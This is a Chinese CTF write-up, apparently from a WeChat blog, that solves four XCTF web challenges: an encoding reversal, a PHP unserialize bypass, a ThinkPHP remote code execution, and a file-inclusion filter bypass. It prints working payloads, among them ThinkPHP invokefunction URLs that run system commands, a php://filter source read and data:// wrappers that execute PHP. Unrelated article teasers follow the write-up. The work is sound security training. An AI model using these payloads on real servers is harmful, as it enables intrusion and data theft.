双剑破天门:攻防世界Web题解之独孤九剑心法(八)

双剑破天门:攻防世界Web题解之独孤九剑心法(八)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:WEB 2

二:Web_php_unserialize

三:php_rce

四:web_php_include

五:总结

1. WEB 2

2. Web_php_unserialize

3. php_rce

4. web_php_include


一:WEB 2

打开是一个php代码

代码审计

1.首先给了一段密文也就是需要解密的flag

2.然后对传进来的str进行字符串反转($_o)

3.进入for循环,首先截取一个字符(赋值给$_c),将这个字符转换为ascii值进行+1(赋值给$__)然后将+1后的ascii在转换为字符(赋值给$_c)输出最后进行拼接(例如先将abc变为cba然后再加1最后拼接就是dbc)

4.对$_进行base64编码然后再反转最后进行rot13转换

解密只需要将如上倒过来即可

先进行rot13转化然后进行strrer反转在进行base64解码将解码后的结果进行截取对其ascii减1后转换为字符最后拼接完再反转即可得到flag


解密代码如下

<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; // 逆向str_rot13 $step1 = str_rot13($miwen); // 逆向strrev $step2 = strrev($step1); // 逆向base64_encode $step3 = base64_decode($step2); // 逆向ord($char)+1 $decrypted = ""; for ($i = 0; $i < strlen($step3); $i++) { $char = substr($step3, $i, 1); $decrypted .= chr(ord($char) - 1); } // 反转字符串得到最终结果 $flag = strrev($decrypted); echo $flag; ?>

二:Web_php_unserialize

打开为如下所示,是一个反序列化的题目

进行代码审计

首先定义一个demo的类,并且定义一个私有属性初始值为index.php,

然后又声明了两个个函数,$file是用于接收外部传入的文件路径,

__construct:对变量进行赋初始值也就是index.php

_destruct:在程序结束时以高亮输出

在往下下看它提示我们flag在fl4g.php中,所以只要我们将index.php修改为fl4g.php就可以得到flag

第二段代码,首先接受一个var对其进行base64解密然后利用正则表达式对其过滤如果不符合进行反序列化符合的话就输出stop。

但是这段代码中有两个限制条件那就是__wakeup和正则表达式preg_match('/[oc]:\d+:/i'

Wakeup非常容易绕过那就是属性值大于属性个数  正则该如何绕过

序列化结果如下

O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

Wakeup绕过:O:4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}

正则绕过:O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}

Payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

但是我们发现输入后没有出现flag

其实问题在下图所示

Demo前后有两个空格,那我们加上这两个空格看看能不能拿到flag

还是什么都没有

只能用如下方法了使用str_replace替换方案

最终

payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

成功拿到flag


解密代码

<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $flag=new Demo ('fl4g.php'); $flag =(serialize($flag)); $flag =str_replace('O:4','O:+4',$flag); $flag =str_replace(':1:',':2:',$flag); echo base64_encode($flag); ?> 

三:php_rce

打开如下图所示,

通过搜索引擎搜索这个框架发现这个框架的漏洞就是对控制器名过滤不严,可以通过url调用到框架内部的敏感函数,进而导致漏洞。

通过payload:

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20"flag"

找到flag所在位置

最终payload:

/index.php?

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

成功拿到flag


四:web_php_include

打开如下如所示,这是一道文件包含题目

代码审计

首先接收一个page然后进行while循环利用strstr函数查看page中是否包含php://

如果包含则将其替换为空

然后退出循环
所以如果想拿到flag就需要绕过strstr函数,它过滤的是php://

那么利用大小写不就绕过了

构建payload:?page=Php://input.然后利用爆破执行命令

成功找到flag文件

成功拿到flag


五:总结

1. WEB 2

题型特征

  • 基础类题目,通常考察查看源代码、HTTP头信息或简单请求操作15。
  • 可能隐藏Flag在HTML注释、响应头或通过简单请求触发返回。

解题思路

  1. 查看页面源代码:按F12或右键查看源码,搜索flaghint,常见于注释中5。
  2. 检查HTTP响应头:使用浏览器开发者工具的“网络”标签查看响应头,可能直接包含Flag15。
  3. 发送特定请求
    • 修改请求方法(GET/POST),如提交参数?what=flag

使用Python脚本快速发送POST请求,示例如下1:python

import requests r = requests.post(url, data={'key': 'value'}) print(r.text)

2. Web_php_unserialize

题型特征

  • 涉及PHP反序列化漏洞,通过构造恶意序列化数据触发魔术方法(如__destruct)执行命令29。
  • 需绕过__wakeup方法限制及正则过滤。

解题思路

  1. 绕过__wakeup
    • 修改序列化字符串中对象属性数量,使其大于实际数量(如将O:4:"Demo":1:改为O:+4:"Demo":2:)。
  2. 正则过滤绕过
    • 替换O:4O:+4,利用正则表达式/[oc]:\d+:/i不匹配+的特性29。
  3. 构造Payload
    • 示例序列化字符串:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},需进行Base64编码后传参。
    • 工具辅助生成Payload,避免手动构造错误。

3. php_rce

题型特征

  • 利用框架的远程代码执行漏洞,通过特定路由或参数注入命令。

解题思路

  1. Payload构造
  2. 绕过限制
    • 尝试不同版本Payload。

读取文件

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

查找Flag文件

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

执行系统命令

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

4. web_php_include

题型特征

  • 文件包含漏洞,利用PHP伪协议(如data://php://input)执行代码。
  • 常见过滤场景:替换php://关键字,需绕过协议限制。

解题思路

  1. 伪协议利用
  2. 绕过php://过滤
    • 大小写混淆(如pHp://)或使用data://
  3. 文件读取

使用php://filter读取源码:

?page=php://filter/convert.base64-encode/resource=index.php

Base64编码绕过

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==

执行代码

?page=data://text/plain,<?php system("ls");?>

(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

OpenClaw 钉钉群聊多机器人配置完全指南

OpenClaw 钉钉群聊多机器人配置完全指南

OpenClaw 钉钉群聊多机器人配置完全指南 在团队协作中,配置多个专用机器人可以显著提升工作效率——不同的机器人可以分别负责写作、编码、数据分析等不同任务。本文将详细介绍如何在使用OpenClaw的钉钉群聊中配置多个任务机器人,并进一步讲解如何为每个机器人赋予独特的性格和工作规范。 一、钉钉端配置 首先,我们需要在钉钉开放平台创建多个任务机器人。 1.1 创建机器人 1. 按照上述步骤,根据实际需求创建多个机器人。 机器人创建完成后,务必记下 Client ID 和 Client Secret,这些信息后续配置会用到。 访问 钉钉开发者平台,点击立即创建按钮创建任务机器人。 二、OpenClaw端配置 完成钉钉端的配置后,接下来我们在OpenClaw中进行相应的设置(默认已装过钉钉插件)。 # 安装钉钉渠道插件 openclaw plugins install @dingtalk-real-ai/dingtalk-connector # 重启 gateway openclaw gateway restart 2.1 添加 Agent

乐言科技VS店小蜜VS晓多VS智齿科技VS网易七鱼:2025电商客服机器人实测

乐言科技VS店小蜜VS晓多VS智齿科技VS网易七鱼:2025电商客服机器人实测

2025 年中国智能客服机器人市场规模已达 150 亿元,其中电商领域占比超 30%,成为商家降本增效的核心工具。那么商家该如何选择适合自己的服务商呢? 为了给商家朋友们解疑答惑,我们选取阿里系单店、多平台连锁、垂直品类专营店、跨境电商四类商家场景,对五家市场主流品牌开展实测,聚焦响应效率、意图识别、场景覆盖、多平台适配四大核心维度,全程只谈功能差异,不做主观褒贬。 一、实测维度一:响应效率 + 多平台管理 运营成本差异对比 * 乐言科技:多平台聚合能力领跑行业。其电商智能客服机器人 “全渠道聚合应答” 能够将10+主流电商平台咨询消息统一接入,无需切换后台即可回复买家。日常时段各平台响应速度稳定在 0.8-1 秒,各平台速度差异不超 0.2 秒。核心优势在于 “跨平台话术一键同步”,修改一条售后话术可同步至所有渠道,比单独设置效率提升 60%。 * 阿里店小蜜:阿里生态内效率天花板。淘宝、天猫店铺日常响应 0.

MK米客方德SD NAND:无人机存储的高效解决方案

MK米客方德SD NAND:无人机存储的高效解决方案

在无人机技术迅猛发展的当下,飞控系统的数据记录对于飞行性能剖析、故障排查以及飞行安全保障极为关键。以往,SD 卡是飞控 LOG 记录常见的存储介质,但随着技术的革新,新的存储方案不断涌现。本文聚焦于以 ESP32 芯片为主控制器的无人机,创新性采用 SD NAND 芯片 MKDV32GCL-STPA 芯片进行 SD NAND 存储,测试其在飞控 LOG 记录功能中的表现。 米客方德 SD NAND 芯片特性 免驱动优势:与普通存储设备不同,在该应用场景下,SD NAND 无需编写复杂的驱动程序。这极大地简化了开发流程,缩短了开发周期,减少了潜在的驱动兼容性问题,让开发者能够更专注于实现核心功能。 自带坏块管理功能:存储设备出现坏块难以避免,而 MKDV32GCL - STPA 芯片自带的坏块管理机制可自动检测并处理坏块。这确保了数据存储的可靠性,避免因坏块导致的数据丢失或错误写入,提升了整个存储系统的稳定性。 尺寸小巧与强兼容性:

面向无人机和智能手机的YOLOv8模型改进实战—棉叶病虫害多尺度目标检测

面向无人机和智能手机的YOLOv8模型改进实战—棉叶病虫害多尺度目标检测

一、引言        YOLO(You Only Look Once)作为一种非常流行的目标检测算法,以其高效和准确性而闻名。YOLOv8作为这一系列算法较新颖的版本,相较于其前身在准确性、速度和模型大小方面都有所改进。博主将分享1篇发表在《Industrial Crops and Products》(中科院1区TOP)的“CPD-YOLO: A cross-platform detection method for cotton pests and diseases using UAV and smartphone imaging”,说明YOLOv8模型在跨平台(无人机+手机)场景下的棉花病虫害多尺度目标检测中的应用。主要改进点如下: (1)特征融合改善:构建Bi-FPN +RepTransformer网络,实现多尺度特征的高效融合与推理加速。 (2)检测头增加:设计4头动态检测网络,赋予模型多维动态感知能力。 (3)损失函数优化: